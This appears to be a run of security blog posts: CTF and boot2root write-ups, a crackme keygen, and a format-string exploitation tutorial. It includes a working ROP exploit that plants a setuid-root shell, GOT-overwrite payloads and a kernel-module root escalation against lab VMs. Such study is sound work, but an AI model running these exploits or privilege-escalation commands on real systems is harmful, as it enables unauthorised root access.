# argv[1] -> __foo_str + 23 eq. '/tmp/foo'
# 0x08048786: call eax ; leave ;

rop  = p(0x08048790)
rop += p(0x08048E06)
rop += p((__atol_got - 0x01270304) & 0xFFFFFFFF)
rop += p(0x08048FEB)
rop += p(0x08048E06)
rop += p((__int16_e800h - 0x01270304) & 0xFFFFFFFF)
rop += p(0x08048FEB)
rop += p(0x08048E06)
rop += p((__int16_0100h - 0x01270304) & 0xFFFFFFFF)
rop += p(0x08048FEB)
rop += p(0x08048786)
rop += p(__foo_str + 23)

# message 1
payload = 10 * 'A'
payload += '|'
payload += rop.ljust(212, 'A') # padding till 212 eq next struct requestername pointer
payload += p(0x0804B05C) # strtok GOT, becomes __ppppr
payload += '\n'
# message 2
payload += p(__ppppr) # written to got.strtok
payload += '|'
payload += 200 * 'A'
payload += '\n'

# create the exploit message file
open('exploit.msg','wb').write(payload)
# create the foo file
foocode = "cp /bin/sh /tmp/r00tsh3ll;chown root:root /tmp/r00tsh3ll;chmod 4755 /tmp/r00tsh3ll"
open('/tmp/foo','wb').write(foocode)
os.system('chmod +x /tmp/foo')

Executed the exploit from the tmp folder and moved the created exploit.msg into the /opt/.messenger folder and waited a bit..

./rootsploit.py
ls -lah
total 20K
drwxrwxrwt  2 root root 4.0K Sep 13 01:05 .
drwxr-xr-x 21 root root 4.0K Jun 17 22:05 ..
-rw-r--r--  1 puck dev   434 Sep 13 01:05 exploit.msg
-rwxr-xr-x  1 puck dev    82 Sep 13 01:05 foo
-rwxr-xr-x  1 puck dev  2.0K Sep 13 00:43 rootsploit.py
mv exploit.msg /opt/.messenger/
ls -lah
total 128K
drwxrwxrwt  2 root root 4.0K Sep 13 01:08 .
drwxr-xr-x 21 root root 4.0K Jun 17 22:05 ..
-rwxr-xr-x  1 puck dev    82 Sep 13 01:05 foo
-rwsr-xr-x  1 root root 110K Sep 13 01:08 r00tsh3ll
-rwxr-xr-x  1 puck dev  2.0K Sep 13 00:43 rootsploit.py
./r00tsh3ll
id
uid=1001(puck) gid=1004(dev) euid=0(root) groups=0(root)
whoami
root

Game over

This was another awesome boot2root VM, I enjoyed it allot. Thanks Superkojiman!

Nuit Du Hack CTF 2015 – Prime Crackme

Intro

Recently I played the Nuit Du Hack CTF and one the challenges I had a look at was the “Prime Crackme” from the reversing category. The challenge is still available at http://quals.nuitduhack.com/challenges/view/3

The goal of the challenge is to create a valid serial or keygen and its description and name already hints that it could be related to prime values so let’s have a look.

 

Analyzing the crackme

The crackme is a 32 bits Linux ELF binary without its symbols stripped thus making it easier to analyze the code.

h4x@kali:~/nuitduhack$ file crackme
crackme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0x17916e0f7c4f5d911ba1bb2229286410a29d39ed, not stripped

I loaded the crackme into IDA and used Hex-Rays decompiler plugin to decompile the code to C and renamed the variable names to something which makes more sense.

 

Main function

int __cdecl main(int argc, const char **serial, const char **envp)
{
    int result; // eax@6
    signed int prt1_bit; // esi@7
    int prt2_bit; // esi@7
    int prt3_bit; // esi@7
    int prt4_bit; // esi@7
    int prt5_bit; // esi@7
    char prt6[5]; // [sp+0h] [bp-4Eh]@7
    char prt5[5]; // [sp+5h] [bp-49h]@7
    char prt4[5]; // [sp+Ah] [bp-44h]@7
    char prt3[5]; // [sp+Fh] [bp-3Fh]@7
    char prt2[5]; // [sp+14h] [bp-3Ah]@7
    char prt1[5]; // [sp+19h] [bp-35h]@7
    int prt6_int; // [sp+1Eh] [bp-30h]@7
    int prt5_int; // [sp+22h] [bp-2Ch]@7
    int prt4_int; // [sp+26h] [bp-28h]@7
    int prt3_int; // [sp+2Ah] [bp-24h]@7
    int prt2_int; // [sp+2Eh] [bp-20h]@7
    int prt1_int; // [sp+32h] [bp-1Ch]@7
    int *v21; // [sp+46h] [bp-8h]@1

    v21 = &argc;
    if ( argc <= 1 )
    {
        puts("please give me serial number");
        exit(0);
    }
    if ( strlen(serial[1]) == 29 )
    {
        if ( strchr(serial[1], '0') )
        {
            puts("Invalid char");
            result = 1;
        }
        else
        {
            memset(prt1, 0, 5u);
            memset(prt2, 0, 5u);
            memset(prt3, 0, 5u);
            memset(prt4, 0, 5u);
            memset(prt5, 0, 5u);
            memset(prt6, 0, 5u);
            strncpy(prt1, serial[1], 4u);
            strncpy(prt2, serial[1] + 5, 4u);
            strncpy(prt3, serial[1] + 10, 4u);
            strncpy(prt4, serial[1] + 15, 4u);
            strncpy(prt5, serial[1] + 20, 4u);
            strncpy(prt6, serial[1] + 25, 4u);
            prt1_int = strtol(prt1, 0, 16);
            prt2_int = strtol(prt2, 0, 16);
            prt3_int = strtol(prt3, 0, 16);
            prt4_int = strtol(prt4, 0, 16);
            prt5_int = strtol(prt5, 0, 16);
            prt6_int = strtol(prt6, 0, 16);
            prt1_bit = c1(prt1_int);
            prt2_bit = c1(prt2_int) & prt1_bit;
            prt3_bit = c1(prt3_int) & prt2_bit;
            prt4_bit = c1(prt4_int) & prt3_bit;
            prt5_bit = c1(prt5_int) & prt4_bit;
            result = prt5_bit & c1(prt6_int);
            if ( result )
            {
                result = c1((prt4_int + prt3_int + prt2_int + prt1_int + prt5_int) % prt6_int);
                if ( result )
                {
                    puts("Well done !!!");
                    result = printf("%s is good serial\n", serial[1]);
                }
            }
        }
    }
    else
    {
        puts("Wrong format");
        result = 1;
    }
    return result;
}

First our input serial length is checked(line 29) and has to be 29 characters next it checks if our serial contains any ‘0’ characters(line 31), if such character is found a “Wrong char” message is shown and the crackme exits. Next it zero’s the local variables prt1, prt2, prt3, prt4, prt5, prt6 using ‘memset'(line 38..43) and then copies parts from our input serial into those variables(line 44..49) with ‘strncpy’ each copied part is 4 characters. Based on the pointer adjustment +5, +10, … at line 45,46,… we can see that every 5th character of our input serial is ignored.

Based on this we can construct the following possible serial format 1234-1234-1234-1234-1234-1234

If we continue looking at the code we can see that the copied parts are converted into long integers using ‘strtol'(line 50..55) and stored in prt1_int, prt2_int, prt3_int, prt4_int, prt5_int, prt6_int, the base value of 16 indicates it converts from a hex string into an integer.

Next we can see it call’s ‘c1’ with our serial parts(line 56..61), let’s have a closer look at the ‘c1’ function to see what it does..

signed int __cdecl c1(int a1)
{
    signed int result; // eax@2
    int codelen; // [sp+0h] [bp-138h]@3
    int iv[2]; // [sp+4h] [bp-134h]@1
    char v4[140]; // [sp+Ch] [bp-12Ch]@1
    char v5[140]; // [sp+98h] [bp-A0h]@1
    int (__cdecl *func)(int); // [sp+124h] [bp-14h]@3
    int keylen; // [sp+128h] [bp-10h]@1
    int key; // [sp+12Ch] [bp-Ch]@1

    iv[0] = 0x3039;
    iv[1] = 0xD431;
    key = (int)"azertyuiopazerty";
    keylen = 16;
    if ( aes_init("azertyuiopazerty", 16, iv, v5, v4) )
    {
        result = -1;
    }
    else
    {
        codelen = 96;
        func = (int (__cdecl *)(int))aes_decrypt(v4, buf_0, &codelen);
        EVP_CIPHER_CTX_cleanup(v5);
        EVP_CIPHER_CTX_cleanup(v4);
        result = func(a1) != 0;
    }
    return result;
}

When we look at the code we can see it uses AES with a hardcoded key and IV(line 12..14). Looking further at the code we can see the AES is used to decrypt the data in ‘buf_0’ and the returned pointer from the call to ‘aes_decrypt’ being cast into a function(line 23) ‘func’. At line 26 the ‘func’ function is called and our serial part is being passed as its argument. I figured out that this hidden code might hold some interesting info on the algorithm so I decided to dump the decrypted code using GDB and patched the code back into the crackme and decompiled the function.

BOOL __cdecl buf_0(signed int a1)
{
    signed int v2; // [sp+8h] [bp-8h]@1
    signed int i; // [sp+Ch] [bp-4h]@1

    v2 = 0;
    for ( i = 1; ; ++i )
    {
        if ( i <= a1 )
        {
            if ( a1 % i )
                continue;
            ++v2;
            if ( v2 <= 2 )
                continue;
        }
        break;
    }
    return v2 == 2;
}

I quickly identified the code as a basic prime validation algorithm, it takes our input serial integer and checks if the value is a prime value, if so it returns 1 else 0
So knowing this we can continue looking at the ‘main’ function code…

At line 56..61 it takes our serial parts 1 .. 6 and checks if every part is a prime and bitwise AND’s the results with the previous prime check result. The check at line 62 check’s if result is 1 this would be the case if all our serial parts were valid prime values. If continue looking at the code we can see another check(line 65) based on prime check above it(line 64)

This last prime check sums the serial parts 1 .. 5 and then does a modulo serial part 6, the remainder of this should also be a valid prime value

((prt1+prt2+prt3+prt4+prt5) % prt6) == prime

 

let’s get cracking!

I decided to write a dirty python keygen which first searches all prime values less than 65535  with no zero’s in it and then uses this list of prime values to bruteforce a valid combination. Searching the valid prime values takes some time to complete, optional you could collect them just once and store them in a separate file and include that into the keygen. The argument passed  to the keygen is the amount of serials to generate.

#!/usr/bin/env python
import sys

def isprime(v):
    v2 = 0
    i = 0
    while True:
        i += 1
        if i <= v:
            if v % i:
                continue
            v2 += 1
            if v2 <= 2:
                continue
        break
    return v2 == 2

def isnullsafe(v):
    return not ((v & 0x000f == 0) or (v & 0x00f0 == 0) or (v & 0x0f00 == 0) or (v & 0xf000 == 0))

# create a list with prime values
def safeprimes():
    primes = []
    for i in range(4369, 65535): # 0x1111 .. 0xFFFF
        if isnullsafe( i ):
            if isprime( i ):
                primes.append( i )
    return primes

def main(serials):
    print 'Collecting safeprimes'
    primes = safeprimes()
    pcount = len(primes)
    print 'Searching serial(s)'
    found = 0
    for i in range(pcount - 5):
        primesum  = primes[i]
        primesum += primes[i + 1]
        primesum += primes[i + 2]
        primesum += primes[i + 3]
        primesum += primes[i + 4]
        for prime in primes:
            if isprime( primesum % prime ):
                # print serial
                print "%04X-%04X-%04X-%04X-%04X-%04X" % (
                    primes[i],
                    primes[i + 1],
                    primes[i + 2],
                    primes[i + 3],
                    primes[i + 4],
                    prime)
                found += 1
                if found == serials:
                    return
    return

if __name__ == '__main__':
    try:
        main(int(sys.argv[1]))
    except KeyboardInterrupt:
        print 'Closed by user'

Testing the keygen

h4x@kali:~/nuitduhack$ ./crackme.py 1
Collecting safeprimes
Searching serial(s)
1115-1127-112D-1139-1145-116F
h4x@kali:~/nuitduhack$ ./crackme 1115-1127-112D-1139-1145-116F
Well done !!!
1115-1127-112D-1139-1145-116F is good serial

 

GAME OVER

 

I love format string vulnerabilities!

Intro

Since the first time I played with a format string vulnerability I kinda fell in love with them. While you don’t often find them in common software products you might run up to them in a CTF or Boot2Root challenge. While finding a format string vulnerability is kinda easy, I usually got annoyed when creating the exploit pattern… addresses and values have to be in little-endian, you need to calculate the lengths to write, etc. so decided to write a little helper tool called frmtstr.py. You can either include it into your own python script or run it from the command-line.

 

Demonstration

To demonstrate the usage of the tool I wrote two simple format string vulnerable applications and compiled them with gcc.

formatstr1.c:

#include <stdio.h>

void vulnfunction(char *msg)
{
	printf(msg);
}

int main(int argc, char **argv)
{
	char buff[256];

	printf("Input: ");
	fgets(buff, 256, stdin);
	vulnfunction(buff);
	printf("Bye\n");
	return 0;
}

formatstr2.c:

#include <stdio.h>

void vulnfunction(char *msg)
{
	char buff[300];

	sprintf(buff, "your input is: %s", msg);
	printf(buff);
}

int main(int argc, char **argv)
{
	char buff[256];

	printf("Input: ");
	fgets(buff, 256, stdin);
	vulnfunction(buff);
	printf("Bye\n");
	return 0;
}


formatstr1

We start with simply testing the vulnerability by feeding it some format pattern.

h4x@kali:~/code/vuln_apps$ ./formatstr1 
Input: AAAA
AAAA
Bye
h4x@kali:~/code/vuln_apps$ ./formatstr1 
Input: %X.%X.%X
0.BFFFF410.B7FBCFF4 <-- vulnerable!
Bye

It dumped data from the stack so it seems to be vulnerable. Now the next thing to do is trying to locate our input on the stack by using a format pattern like ‘AAAA.%X.%X…‘ till we see ‘41414141(AAAA)‘ in the output.

h4x@kali:~/code/vuln_apps$ ./formatstr1 
Input: AAAA.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X
AAAA.0.BFFFF410.B7FBCFF4.0.0.BFFFF518.8048500.BFFFF410.100.B7FBD440.0.41414141.2E58252E.252E5825
Bye

We can see 41414141 in the output, Now to convert this into a stack index I simply take the output like ‘AAAA.0.BFFFF410.B7FBCFF4.0.0.BFFFF518.8048500.BFFFF410.100.B7FBD440.0.41414141’ and split it on the ‘.’ with python, the length of the list minus one is the stack index.

h4x@kali:~/code/vuln_apps$ python -c "print len('AAAA.0.BFFFF410.B7FBCFF4.0.0.BFFFF518.8048500.BFFFF410.100.B7FBD440.0.41414141'.split('.'))"
13 <-- stack_index - 1

Now we have the stack index(12) of our data we can try to exploit the application by overwriting a ‘.GOT’ entry of a function which would be executed in the logic code flow.
Let’s have a look at the code flow of the main function its assembly

gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x080484bf <+0>:    push   ebp
   0x080484c0 <+1>:    mov    ebp,esp
   0x080484c2 <+3>:    and    esp,0xfffffff0
   0x080484c5 <+6>:    sub    esp,0x110
   0x080484cb <+12>:    mov    DWORD PTR [esp],0x80485b0
   0x080484d2 <+19>:    call   0x8048370 <printf@plt>
   0x080484d7 <+24>:    mov    eax,ds:0x8049788
   0x080484dc <+29>:    mov    DWORD PTR [esp+0x8],eax
   0x080484e0 <+33>:    mov    DWORD PTR [esp+0x4],0x100
   0x080484e8 <+41>:    lea    eax,[esp+0x10]
   0x080484ec <+45>:    mov    DWORD PTR [esp],eax
   0x080484ef <+48>:    call   0x8048380 <fgets@plt>
   0x080484f4 <+53>:    lea    eax,[esp+0x10]
   0x080484f8 <+57>:    mov    DWORD PTR [esp],eax
   0x080484fb <+60>:    call   0x80484ac <vulnfunction>
   0x08048500 <+65>:    mov    DWORD PTR [esp],0x80485b8
   0x08048507 <+72>:    call   0x8048390 <puts@plt>
   0x0804850c <+77>:    mov    eax,0x0
   0x08048511 <+82>:    leave  
   0x08048512 <+83>:    ret    
End of assembler dump.

At line 17 the vulnfunction is executed and a possible GOT entry got overwritten, the next executed function is a puts at line 19 so we could overwrite the GOT.puts entry to anything we want and control the execution flow. Let’s grab the GOT entry address of puts with objdump

h4x@kali:~/code/vuln_apps$ objdump -R formatstr1 | grep puts
08049774 R_386_JUMP_SLOT   puts

 

p0wn formatstr1

First of all in order to see if I successfully exploited the application I use a poor man’s debugging trick using tail and syslog
sudo tail -n1 -f /var/log/syslog

Now let’s try to exploit the application using frmtstr.py

h4x@kali:~/code/vuln_apps$ ./frmtstr.py 12 0x08049774 0x41414141 | ./formatstr1
...
Segmentation fault

Checking the syslog we can see it worked.

...
Dec 26 19:26:10 kali kernel: [945190.527888] formatstr1[22477]: segfault at 41414141 ip 41414141 sp bffff36c error 14
...

 

formatstr2

So the next sample is similar to the first one except it takes some padding to get the correct stack index since the buffer which is send into the printf function has some extra data at front ‘your input is: ‘ as seen in the source code at line 7.

Sending the same pattern as before and adding ‘B’ chars at front till our data aligns correctly

h4x@kali:~/code/vuln_apps$ ./formatstr2
Input: AAAA.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X
your input is: AAAA.80485F0.BFFFF380.B7FBD4E0.B7FDE000.72756F79.706E6920.69207475.41203A73.2E414141.252E5825.58252E58.2E58252E.252E5825.58252E58.2E58252E.252E5825
Bye
h4x@kali:~/code/vuln_apps$ ./formatstr2
Input: BAAAA.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X
your input is: BAAAA.80485F0.BFFFF380.B7FBD4E0.B7FDE000.72756F79.706E6920.69207475.42203A73.41414141.2E58252E.252E5825.58252E58.2E58252E.252E5825.58252E58.2E58252E
Bye

So I need to add one extra char to the input to make it align, the stack index would be 9. Since formatstr2 uses the same code flow logic as formatstr1 I simply do the same GOT.puts overwrite, puts is located at 0x080497c8

 

p0wn formatstr2

The only difference in exploiting formatstr2 is that we should take care of the current data length created by the padding(one extra char) and the length of the ‘your input is: ‘ string, the total length of these together would be 16

Using frmtstr.py with the current length supplied

h4x@kali:~/code/vuln_apps$ echo B$(./frmtstr.py 9 0x080497c8 0x41414141 16) | ./formatstr2
...
Segmentation fault

Checking the syslog to see another successful p0wn!

Dec 26 19:47:51 kali kernel: [946489.583418] formatstr2[22655]: segfault at 41414141 ip 41414141 sp bffff36c error 14

 

GAME OVER

 

Myapp malware crypter – static unpacker

Malware won’t die unless you help it..

Ok this is gonna be a rather short one, For those into analyzing malware might have noticed a pretty common crypter is floating around. I call it the ‘Myapp’ since the binary’s contains a string ‘c:\myapp.exe’. after the analyzing the stub i noticed it’s kinda easy to write a static unpacker for for(it uses a modified RC4 encryption)

 

The unpacker

source code :http://pastebin.com/msyJdHBG
I have tested it over many binary’s and always with success so now it’s time to share this, use it on your own risk!

xerxes2 the write up

XERXES II – The write up

xerxeslogo

XERXES 2 is boot2root VM made by Bas and can be downloaded from VulnHub I already did XERXES 1 and ever since then I am a fan of his VM’s because the always remind me of CTF kinda challenges.

 

The begin

Now as with every VM once mounted and running we run a arp-scan or whatever to locate the box and once its found we perform a portscan on it resulting in some interesting services, ssh(22),lighttpd(80),unknown(4444),tornado(8888) For those who scan the machine the first time(within 2 minutes after its booted) the tornado service at port 8888 wont show this a little troll added by Bas.

nmap2

The first thing which got my interest was the unknown service at port 4444 so I connected to it with netcat and was presented with a huge blob of base64 encoded data. I decoded the data and found myself a MPEG file according FILE

portfourfoutfourfour

I opened the file in a player to see if there were any hints in it, I also hexdumped the file see if the was some obvious stuff in the file but it all seemed useless. The next thing I checked was the default webserver at port 80, this only contained a static page with a logo and wasn’t much useful either so the last thing left was the Tornado server at port 8888.

 

IPython Notebook

Once I accessed the Tornado server I ran into the IPython Notebook application, At first I had never heard of it but when I Googled for it I got all warm and fuzzy since it allows you to run system commands. I created a command to set up ssh access and executed it.

delacroixssh

Looks good now let’s try to get some shell..

delacroixssh2

Lovely! Time to explore the box a little bit. I noticed a bf.c file in the home folder and some interesting bash history.

delacroixhist

It seems a file called ‘bf’ is executed from the ‘/opt/’ folder and it’s argument appears to be a piece of Brainfuck code. When I checked the ‘/opt/’ folder to see if the binary still existed I also noticed an interesting ‘backup’ folder with an encrypted tar file in it belonging to the ‘korenchkin’ user which at that moment didn’t make much sense to me.

optdir

 

Analyzing bf

When analyzing the source code(bf.c) we can see it’s a normal implementation of Brainfuck with an extra instruction ‘#’ which sends our current buffer into a ‘printf’ without a format pattern which results into a formatstring vulnerability!

 76                         case '#':
 77                                 // new feature
 78                                 printf(buf);
 79                                 break;

Now the system seemed to have the most common protections like ASLR and NX enabled.

systemaslrNX

And also the Binary seemed to be compiled to use non executable memory when being checked with PEDA

bfsec

So in order to exploit this I needed to find a way to bypass the ASLR. A good way to do this is by leaking some binary or library address, Now a formatstring vulnerability allows us in certain cases to dump stack memory which often contain such addresses. The first thing I had to do was trying to locate my input on the stack like we do with every formatstring attacks. I wrote a little for loop and executed it.

findindex

Added some line numbers to it with VIM

findindexlinenrs

My input seemed to be on index 16 and when looking at index 1 and 9 they looked like something which could be a library addresses so I decided to have closer look on the stack using GDB with a breakpoint set on ‘printf’ and some simple Brainfuck code to handle. Once the breakpoint was reached I looked up the current stack

printfstack

I could see an address which looked allot like I seen before ‘xxxxxFF4’ aka index 9 and when I checked the current process mappings in GDB I could see the address belonged to ‘libc’ it’s range

procmapping

In order to get the raw offset of the leaked address I subtract the current libc baseaddress so
0xb7707ff4 – 0xb75a8000 = 15FFF4
So I could calculate the Baseaddress by simply doing
leakedaddress – 0x15FFF4 = Baseaddress

When looking up the offset 0x15FFF4 with objdump and IDA I noticed it was the ‘.got.plt’ offset

delacroix@xerxes2:~$ objdump -h /lib/i386-linux-gnu/i686/cmov/libc.so.6 | grep 0015fff4
 29 .got.plt      0000002c  0015fff4  0015fff4  0015eff4  2**2

A few test runs checking that index 9 showed that the leaked libc address was always there just its base kept changing as expected due the ASLR

leakindex9

 Exploit time!

So the general idea of the exploit is to provide the binary some Brainfuck code which does the following

1. read a format string pattern into the buffer and send it to the printf to leak the libc address at index 9.
2. move the buffer pointer back to its begin.
3. read a format string pattern into the buffer and send it to the printf to overwrite the binary's printf GOT with libc's system address.
4. move the buffer pointer back to its begin.
5. Finally read the command into the buffer and send it to the printf which now points to system, resulting into a system(command).

An example of such code could be..
h4x@kali:~/xerxes2$ python -c “print ‘%9\$x\n<–>\n/bin/sh\n'” | ./bf “,>,>,>,>,>#<<<<<,>,>,>,>,>#<<<<<,>,>,>,>,>,>,>,>,>#”
b7fbeff4
<–>
/bin/sh

I wrote the exploit in python and used pexpect to interact with the binary which gave me some pain but let’s not get into that!
You can find the exploit source code at http://pastebin.com/gGWMy9gT

Running the exploit..
bfexploitrun

Boom! we have a shell owned by ‘polito’! I executed the shell and applied the same ‘authorized_keys’ to the user as I did before so I had another proper ssh shell

politossh

 

What’s next Bas?!

So once I looked up the polito’s home folder I noticed 2 interesting files, polito.pdf and dump.gpg I copied both files to my system and opened the pdf in a viewer.
pdfviewer

The pdf tells me silly Bas left me an encrypted dump file.. And when it comes to the password needed to decrypt it he tells me that I’m pretty much on my own. I checked the QR code again(those who did xerxes 1 know…) I decided to check a hexdump of the pdf to see if the password maybe was stored in it hoping it was clearly visible.

politopdfhexdump

I didn’t see anything password like, but the first 512 bytes of the file directly got my attention.. I could see that it contained some ‘Warning’ string and beneath it something which at first looked like some scrambled text. I checked if it maybe was ROT13 but didn’t seem to be the case. When I checked the pdf with FILE I got more confused, since it told me the pdf was a x86 bootsector. So after reading a bit up again on bootsectors I decided to dump the mbr.

dumpmbr

After trowing the mbr into IDA and dressing its assembly a bit up I could see some interesting code appear..

mbrida

The code looks rather simpel, if we follow the jumps we can see it pushes a bunch of values onto the stack and jumps into a loop where it pops 2 values from the stack(for each loop) and prints them on the screen until the ‘5A4Dh’  marker is reached. I simply copied all the pushes from ‘seg000:00EA’ till ‘seg000:0117’ and stripped all the addresses, pushes with a simple macro

seg000:00EA           push    0A0Ah
seg000:00ED           push    6C4Eh
seg000:00F0           push    5761h
seg000:00F3           push    7546h
seg000:00F6           push    6D61h
seg000:00F9           push    200Ah
seg000:00FC           push    203Ah
seg000:00FF           push    7369h
seg000:0102           push    2064h
seg000:0105           push    726Fh
seg000:0108           push    7773h
seg000:010B           push    7361h
seg000:010E           push    7020h
seg000:0111           push    6568h
seg000:0114           push    540Ah

after stripping the stuff I concatenated the data back into a hex string and decoded it with python and printed it in reversed order..

mbrdecodetext

Yeah I have a password! I tested the password on the dump.gpg and it seemed to be the correct one. I quickly looked up  the file which seemed to look like a memorydump, I ran some strings on it but it gave me to much rubbish then I suddenly remembered the backup tar seen earlier and took a wild shot grepping for it in the memorydump.

memdumpgrep

Yeah baby! thats looks interesting! seems the dump contains the commandline used to encrypt the backup file and also contains the password. I copied the file to my ‘tmp’ folder and decrypted it.

decryptbackup

Nice! we have the .ssh folder of the ‘korenchkin’ user so I could ssh into the user using the identity file

sshintokor

 

Almost there?!

So what’s the last part? well root the damn box! I quickly looked in the home folder but couldn’t see anything interesting so I checked the user his sudo privileges

sudol

It seemed like the user was able to install kernel modules, now this is nice since they run with root privileges so I decided to write a simple kernel module which just copys a root shell into the ‘tmp’ folder.
I used the following code and Makefile..

modulecnano

modulemakefilenano

Then I compiled the module and installed it…

buildandrunmodule

And dropped into the root shell!

pwnd!

 

Finally!

Another super cool boot2root vm from Bas finished! I enjoyed this one like I did with XERXES1, Once again it was a nice blend of binary exploiting and crypto.
Also I wanna say thanks to recrudesce and superkojiman for helping test stuff during the development of the bf exploit.

 

–Game over